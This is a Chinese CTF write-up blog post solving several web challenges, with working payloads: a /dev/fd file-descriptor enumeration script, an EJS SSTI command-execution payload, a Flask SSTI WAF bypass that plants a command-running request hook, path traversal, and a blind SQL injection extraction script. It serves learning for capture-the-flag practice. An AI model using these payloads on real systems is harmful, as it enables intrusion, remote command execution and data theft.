Fatal error: Uncaught ValueError: Path cannot be empty in /var/www/html/aa__^^.php:4 Stack trace: #0 /var/www/html/aa__^^.php(4): readfile('') #1 {main} thrown in /var/www/html/aa__^^.php on line 4
  • 脚本正在寻找一个叫 filename 的参数
  • readfile() 给ai,大概出来这样的代码
    // 第3行:想算filename参数的长度,但filename没传
    if (strlen($_GET[‘filename’]) > 0) {
    // 第4行:想读取filename指定的文件,但filename是空的
      readfile($_GET[‘filename’]);
    }

随便传?filename=xxx发现是 readfile(xxx): Failed to open stream

ok,文件包含

传aa__%5E%5E.php?filename=aa__%5E%5E.php
<?php
$flag = fopen('/my_secret.txt', 'r');
if (strlen($_GET['filename']) < 11) {
readfile($_GET['filename']);
} else {
echo "Filename too long";
}

?ai牛逼,ok,秒了,不没有,这个 my_secret.txt 长度显然超过了 11,前面 fopen 打开了目标文件 /my_secret.txt,并将 handle 赋值给了变量 $flag

(Linux 中一个进程打开一个文件时,内核会分配一个文件描述符给这个文件 handle,新打开的文件从 3 开始递增,可以通过 /proc/self/fd/<自然数>/dev/fd/<自然数> 来访问这些文件描述符 )

import requests

URL = "http://REPLACE TO YOUR URL"

for i in range(99):
   print(requests.get(URL + f"/aa__^^.php?filename=/dev/fd/{i}").text)

通过filename参数读取文件,代码就自动试/dev/fd/0/dev/fd/1/dev/fd/2…,直到找到藏着 flag 的那个编号

Expression

这个程序员偷懒直接复制粘贴网上的代码连 JWT 密钥都不改..?

随便注册进去,页面是

欢迎,user_96a12632210f !

根据提示,查看jwt密钥,然后去爆破,我这里使用的是无影工具,直接爆破出来密钥是c2VjcmV0,然后发现你的user就是你回显的,这里可能是ssti以及xss,另外服务端的响应头还有一条:X-Powered-By: Express,因此服务端是 ExpressJS 。

那就是EJS_SSTI了

<%= global.process.mainModule.require ('child_process').execSync ('env') %> 查看env环境变量

Xross The Finish Line

看官方wp吧

week2

ez_read

先随便注册一个账号,发现任意文件读取

..././app.py
发现出来源代码
from flask import Flask, request, render_template, render_template_string, redirect, url_for, session
import os

app = Flask(__name__, template_folder="templates", static_folder="static")
app.secret_key = "key_ciallo_secret"

USERS = {}


def waf(payload: str) -> str:
  print(len(payload))
  if not payload:
      return ""
       
  if len(payload) not in (114, 514):
      return payload.replace("(", "")
  else:
      waf = ["__class__", "__base__", "__subclasses__", "__globals__", "import","self","session","blueprints","get_debug_flag","json","get_template_attribute","render_template","render_template_string","abort","redirect","make_response","Response","stream_with_context","flash","escape","Markup","MarkupSafe","tojson","datetime","cycler","joiner","namespace","lipsum"]
      for w in waf:
          if w in payload:
              raise ValueError(f"waf")

  return payload


@app.route("/")
def index():
  user = session.get("user")
  return render_template("index.html", user=user)


@app.route("/register", methods=["GET", "POST"])
def register():
  if request.method == "POST":
      username = (request.form.get("username") or "")
      password = request.form.get("password") or ""
      if not username or not password:
          return render_template("register.html", error="用户名和密码不能为空")
      if username in USERS:
          return render_template("register.html", error="用户名已存在")
      USERS[username] = {"password": password}
      session["user"] = username
      return redirect(url_for("profile"))
  return render_template("register.html")


@app.route("/login", methods=["GET", "POST"])
def login():
  if request.method == "POST":
      username = (request.form.get("username") or "").strip()
      password = request.form.get("password") or ""
      user = USERS.get(username)
      if not user or user.get("password") != password:
          return render_template("login.html", error="用户名或密码错误")
      session["user"] = username
      return redirect(url_for("profile"))
  return render_template("login.html")


@app.route("/logout")
def logout():
  session.clear()
  return redirect(url_for("index"))


@app.route("/profile")
def profile():
  user = session.get("user")
  if not user:
      return redirect(url_for("login"))
  name_raw = request.args.get("name", user)
   
  try:
      filtered = waf(name_raw)
      tmpl = f"欢迎,{filtered}"
      rendered_snippet = render_template_string(tmpl)
      error_msg = None
  except Exception as e:
      rendered_snippet = ""
      error_msg = f"渲染错误: {e}"
  return render_template(
      "profile.html",
      content=rendered_snippet,
      name_input=name_raw,
      user=user,
      error_msg=error_msg,
  )


@app.route("/read", methods=["GET", "POST"])
def read_file():
  user = session.get("user")
  if not user:
      return redirect(url_for("login"))

  base_dir = os.path.join(os.path.dirname(__file__), "story")
  try:
      entries = sorted([f for f in os.listdir(base_dir) if os.path.isfile(os.path.join(base_dir, f))])
  except FileNotFoundError:
      entries = []

  filename = ""
  if request.method == "POST":
      filename = request.form.get("filename") or ""
  else:
      filename = request.args.get("filename") or ""

  content = None
  error = None

  if filename:
      sanitized = filename.replace("../", "")
      target_path = os.path.join(base_dir, sanitized)
      if not os.path.isfile(target_path):
          error = f"文件不存在: {sanitized}"
      else:
          with open(target_path, "r", encoding="utf-8", errors="ignore") as f:
              content = f.read()

  return render_template("read.html", files=entries, content=content, filename=filename, error=error, user=user)


if __name__ == "__main__":
  app.run(host="0.0.0.0", port=8080, debug=False)
尝试打一下ssti ?name={{7*7}}出来49
        waf = ["__class__", "__base__", "__subclasses__", "__globals__", "import","self","session","blueprints","get_debug_flag","json","get_template_attribute","render_template","render_template_string","abort","redirect","make_response","Response","stream_with_context","flash","escape","Markup","MarkupSafe","tojson","datetime","cycler","joiner","namespace","lipsum"]
      for w in waf:
          if w in payload:
              raise ValueError(f"waf")

是ssti,只要绕过这个漏洞直接打ssti

{{(()["__cl"+"ass__"]["__b"+"ase__"]["__subcl"+"asses__"]()[104].__init__ | attr('__glo'+'bals__')).__builtins__.exec("__imp"+"ort__('sys').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None, []).append(lambda :__imp"+"ort__('os').popen(__imp"+"ort__('flask').request.args.get('ivory')).read());'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'")}}

这个按照逻辑

profile?name={{config["_""_c""lass__"]["__ba""se__"]["__init__"]["__g""lobals__"]['os'].popen('ls').read()}}直接去进行命令执行就行,不知道为什么没打通

或者去看官方wp

Sequal No Uta

点进去就是个查询页面

admin'%09and%091=1--+
未找到用户或已停用
?name=admin'%09and%091=1-- 
该用户存在且活跃

存在sql注入

import requests
import string

url = "http://80-48f73a1b-ee6f-4a74-b4b0-be26c06401cd.challenge.ctfplus.cn/check.php"
charset = sorted(string.ascii_letters + string.digits + "._{}-,")
result = ""
pos = 1

def test_payload(base_url, payload):
  payload = payload.replace(" ", "%0a")
  respoen = requests.get(url, params=payload)
  if '该用户存在且活跃' in respoen.text:
      return True
  else:
      return False
while True:
  left,right = 0,len(charset)-1
  while left < right :
      mid = (right + left)//2
      ch = charset[mid]

      payload = f"name=admin' AND substr((select group_concat(secret,',') FROM users),{pos},1)>'{ch}'-- "
      if test_payload(url,payload) :
          left = mid + 1
      else:
          right = mid
  if left < len(charset):
      result = result + charset[left]
      print(f"当前结果为{result}")
      pos += 1
  else:
      print("结束")
      break
print("[*] 枚举完成:", result)
老长时间没有打脚本了,稍微打一下

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇